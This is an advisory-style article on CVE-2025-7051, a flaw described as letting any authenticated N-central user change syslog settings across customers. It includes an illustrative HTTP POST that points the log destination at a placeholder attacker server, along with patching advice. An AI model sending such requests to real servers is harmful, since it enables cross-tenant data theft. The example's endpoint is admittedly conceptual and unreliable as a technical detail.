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CVE-2025-7051: Unauthorized Access and Manipulation of Syslog Configuration in N-central

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Overview

The CVE-2025-7051 vulnerability is a serious cybersecurity flaw that affects all deployments of N-central prior to 2025.2. This vulnerability allows any authenticated user to read, write and modify syslog configuration across various customers on an N-central server. As a result, this opens up potential for system compromise or data leakage, causing significant security concerns for all users and businesses relying on this platform. Given the widespread use of N-central, this vulnerability could potentially have far-reaching impacts if left unaddressed.

Vulnerability Summary

CVE ID: CVE-2025-7051
Severity: High (8.3 CVSS Score)
Attack Vector: Network
Privileges Required: User-level
User Interaction: Required
Impact: System compromise and potential data leakage

Affected Products

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Product | Affected Versions

N-central | All versions prior to 2025.2

How the Exploit Works

The exploit takes advantage of the fact that N-central does not properly restrict access to syslog configurations. As a result, any authenticated user, regardless of their privilege level, can read, write, and modify syslog configurations across different customers on an N-central server. This can lead to unauthorized access to sensitive information, potential system compromise, and data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited using an HTTP request:

POST /ncentral/syslog/config HTTP/1.1
Host: target.example.com
User-Agent: Mozilla/5.0
Authorization: Bearer {user_token}
{
"syslog_config": {
"log_level": "debug",
"log_destination": "{attacker_server}"
}
}

In the above pseudocode, the attacker, authenticated as a regular user, sends a POST request to change the syslog configuration. The ‘log_level’ is set to ‘debug’ to get detailed logs, and ‘log_destination’ is set to the attacker’s server, effectively redirecting all log information to the attacker.

Mitigation Guidance

The primary solution to mitigate this vulnerability is to apply the vendor-provided patch. The patch should be applied to all instances of N-central as soon as possible. If immediate patching is not feasible, using a web application firewall (WAF) or intrusion detection system (IDS) can serve as a temporary mitigation measure. However, these should not be seen as a long-term solution and the patch should be applied as soon as practicable to ensure robust protection against this vulnerability.

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Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

Ameeba and its authors do not endorse or condone malicious behavior and are not responsible for misuse of the content. Always follow ethical hacking guidelines, responsible disclosure practices, and local laws.

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